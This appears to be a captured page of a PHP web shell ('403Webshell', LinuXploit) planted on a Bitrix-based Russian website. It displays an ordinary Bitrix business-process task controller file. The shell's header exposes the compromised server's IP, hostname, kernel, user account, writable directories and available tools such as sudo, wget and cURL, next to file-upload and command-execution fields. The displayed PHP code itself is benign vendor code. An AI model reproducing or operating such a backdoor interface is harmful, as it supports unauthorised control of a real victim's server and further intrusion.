403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/bizproc/lib/controller/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/bizproc/lib/controller/task.php
<?php

namespace Bitrix\Bizproc\Controller;

use Bitrix\Bizproc;
use Bitrix\Main\Error;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Engine\Response\HtmlContent;

class Task extends Base
{
	public function delegateAction(array $taskIds, int $toUserId, int $fromUserId): ?array
	{
		if (!$taskIds)
		{
			$this->addError(new Error(Loc::getMessage('BIZPROC_CONTROLLER_TASK_DELEGATE_EMPTY_TASK_IDS')));

			return null;
		}
		if ($toUserId <= 0 || $fromUserId <= 0)
		{
			$this->addError(new Error(Loc::getMessage('BIZPROC_CONTROLLER_TASK_DELEGATE_INCORRECT_USER_ID')));

			return null;
		}

		$currentUserId = $this->getCurrentUser()->getId();

		$taskService = new Bizproc\Api\Service\TaskService(
			new Bizproc\Api\Service\TaskAccessService($currentUserId)
		);

		$tasksRequest = new Bizproc\Api\Request\TaskService\DelegateTasksRequest($taskIds, $fromUserId, $toUserId, $currentUserId);
		$delegateTaskResult = $taskService->delegateTasks($tasksRequest);

		if (!$delegateTaskResult->isSuccess())
		{
			$this->addErrors($delegateTaskResult->getErrors());

			return null;
		}

		return [
			'message' => $delegateTaskResult->getSuccessDelegateTaskMessage(),
		];
	}

	/**
	 * @internal Experimental, not ready now
	 */
	private function getListAction(?int $targetUserId = null): ?array
	{
		$currentUserId = $this->getCurrentUser()->getId();
		if (!$targetUserId)
		{
			$targetUserId = $currentUserId;
		}

		// todo: check that $targetUserId > 0

		$taskService = new Bizproc\Api\Service\TaskService(
			new Bizproc\Api\Service\TaskAccessService($currentUserId)
		);

		$tasksRequest = new Bizproc\Api\Request\TaskService\GetUserTaskListRequest(
			additionalSelectFields: ['NAME', 'DESCRIPTION'],
			filter: [
				'USER_ID' => $targetUserId,
			],
		);
		$getTasksResult = $taskService->getTasks($tasksRequest);
		if (!$getTasksResult->isSuccess())
		{
			$this->addErrors($getTasksResult->getErrors());

			return null;
		}

		return [
			'tasks' => $getTasksResult->getTasks(),
		];
	}

	public function doAction(int $taskId, ?array $taskRequest = null): ?bool
	{
		$currentUserId = $this->getCurrentUser()->getId();

		$taskService = new Bizproc\Api\Service\TaskService(
			new Bizproc\Api\Service\TaskAccessService($currentUserId)
		);

		if ($taskRequest === null)
		{
			$taskRequest = $this->request->getPostList()->toArray() + $this->request->getFileList()->toArray();
		}

		$request = new Bizproc\Api\Request\TaskService\DoTaskRequest(
			taskId: $taskId,
			userId: $currentUserId,
			taskRequest: $taskRequest,
		);

		$getTasksResult = $taskService->doTask($request);
		if (!$getTasksResult->isSuccess())
		{
			$this->addErrors($getTasksResult->getErrors());

			return null;
		}

		return true;
	}

	public function getUserTaskByWorkflowIdAction(string $workflowId): ?HtmlContent
	{
		$currentUserId = $this->getCurrentUser()->getId();

		$taskService = new Bizproc\Api\Service\TaskService(
			new Bizproc\Api\Service\TaskAccessService($currentUserId)
		);

		$request = new Bizproc\Api\Request\TaskService\GetUserTaskByWorkflowIdRequest(
			workflowId: $workflowId,
			userId: $currentUserId,
		);

		$userTaskResult = $taskService->getUserTaskByWorkflowId($request);
		if ($userTaskResult->isSuccess())
		{
			return new HtmlContent(
				content: $userTaskResult->getContent(),
				additionalResponseParams: $userTaskResult->getTask(),
			);

		}

		$this->addErrors($userTaskResult->getErrors());

		return null;
	}

	/**
	 * @param numeric[] $taskIds
	 * @param int $newStatus
	 * @return bool|null
	 */
	public function doInlineTasksAction(array $taskIds, int $newStatus): ?bool
	{
		$currentUserId = $this->getCurrentUser()->getId();

		$preparedTaskIds = [];
		foreach ($taskIds as $id)
		{
			if (is_numeric($id))
			{
				$preparedTaskIds[] = (int)$id;
			}
		}

		$request = new Bizproc\Api\Request\TaskService\DoInlineTasksRequest(
			taskIds: $preparedTaskIds,
			userId: $currentUserId,
			newTaskStatusId: $newStatus,
		);

		$service = new Bizproc\Api\Service\TaskService(
			new Bizproc\Api\Service\TaskAccessService($request->userId),
		);

		$response = $service->doInlineTasks($request);

		if (!$response->isSuccess())
		{
			$this->addErrors($response->getErrors());
			return null;
		}

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit